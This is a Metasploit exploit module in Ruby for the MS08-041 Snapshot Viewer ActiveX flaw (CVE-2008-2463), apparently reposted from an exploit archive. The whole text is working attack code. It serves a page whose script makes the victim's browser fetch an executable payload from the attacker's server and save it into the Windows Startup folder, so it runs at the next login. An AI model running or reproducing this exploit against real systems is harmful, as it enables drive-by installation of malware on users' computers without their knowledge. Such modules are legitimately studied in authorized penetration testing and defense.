Snapshot Viewer for Microsoft Access – ActiveX Control Arbitrary File Download (Metasploit)
## # $Id: ms08_041_snapshotviewer.rb 10394 2010-09-20 08:06:27Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'Snapshot Viewer for Microsoft Access ActiveX Control Arbitrary File Download', 'Description' => %q{ This module allows remote attackers to place arbitrary files on a users file system via the Microsoft Office Snapshot Viewer ActiveX Control. }, 'License' => MSF_LICENSE, 'Author' => [ 'MC' ], 'Version' => '$Revision: 10394 $', 'References' => [ [ 'CVE', '2008-2463' ], [ 'OSVDB', '46749'], [ 'MSB', 'MS08-041' ], [ 'BID', '30114' ], ], 'Payload' => { 'Space' => 2048, 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', { } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jul 07 2008')) register_options( [ OptString.new('PATH', [ true, 'The path to place the executable.', 'C:\\\\Documents and Settings\\\\All Users\\\\Start Menu\\\\Programs\\\\Startup\\\\']), ], self.class) end def autofilter false end def check_dependencies use_zlib end def on_request_uri(cli, request) payload_url = "http://" payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] payload_url += ":" + datastore['SRVPORT'] + get_resource() + "/payload" if (request.uri.match(/payload/)) return if ((p = regenerate_payload(cli)) == nil) data = generate_payload_exe({ :code => p.encoded }) print_status("Sending EXE payload to #{cli.peerhost}:#{cli.peerport}...") send_response(cli, data, { 'Content-Type' => 'application/octet-stream' }) return end vname = rand_text_alpha(rand(100) + 1) exe = rand_text_alpha(rand(20) + 1) content = %Q| <html> <head> <script> try { var #{vname} = new ActiveXObject('snpvw.Snapshot Viewer Control.1'); #{vname}.SnapshotPath = "#{payload_url}"; #{vname}.CompressedPath = "#{datastore['PATH']}\\#{exe}.exe"; #{vname}.PrintSnapshot(); } catch( e ) { window.location = 'about:blank' ; } </script> </head> </html> | print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...") send_response_html(cli, content) handler(cli) end end |